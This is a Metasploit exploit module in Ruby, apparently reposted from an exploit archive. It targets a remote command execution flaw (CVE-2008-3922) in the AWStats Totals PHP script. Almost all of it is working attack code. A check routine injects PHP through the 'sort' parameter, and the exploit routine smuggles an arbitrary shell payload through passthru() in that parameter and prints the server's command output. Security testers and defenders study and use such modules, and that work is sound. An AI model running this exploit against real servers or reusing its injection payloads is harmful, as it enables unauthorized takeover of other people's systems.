AWStats Totals =< v1.14 multisort Remote Command Execution

##
# $Id: awstatstotals_multisort.rb 12715 2011-05-25 10:45:36Z patrickw $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'AWStats Totals =< v1.14 multisort Remote Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution vulnerability in the
                    AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
            },
            'Author'         => [ 'patrick' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12715 $',
            'References'     =>
                [
                    ['CVE', '2008-3922'],
                    ['OSVDB', '47807'],
                    ['BID', '30856'],
                    ['URL', 'http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 512,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Aug 26 2008',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]),
                ], self.class)
    end
 
    def check
        res = send_request_cgi({
            'uri'      => datastore['URI'],
            'vars_get' =>
            {
                'sort' => '"].phpinfo().exit().$a["'
            }
        }, 25)
 
        if (res and res.body.match(/localhost/))
            return Exploit::CheckCode::Vulnerable
        end
 
        return Exploit::CheckCode::Safe
    end
 
    def exploit
        command = Rex::Text.uri_encode(payload.encoded)
        sploit = datastore['URI'] + '?sort="].passthru(\'echo%20YYY;' + command + ';echo%20YYY;\').exit().%24a["'
 
        res = send_request_raw({
            'uri'     => sploit,
            'method'  => 'GET',
            'headers' =>
            {
                'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
                'Connection' => 'Close',
            }
        }, 25)
 
        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
 
            m = res.body.match(/YYY\n(.*)\nYYY/m)
 
            if (m)
                print_status("Command output from the server:")
                print("\n" + m[1] + "\n\n")
            else
                print_status("This server may not be vulnerable")
            end
        else
            print_status("No response from the server")
        end
    end
 
end



#  0day.today [2018-02-19]  #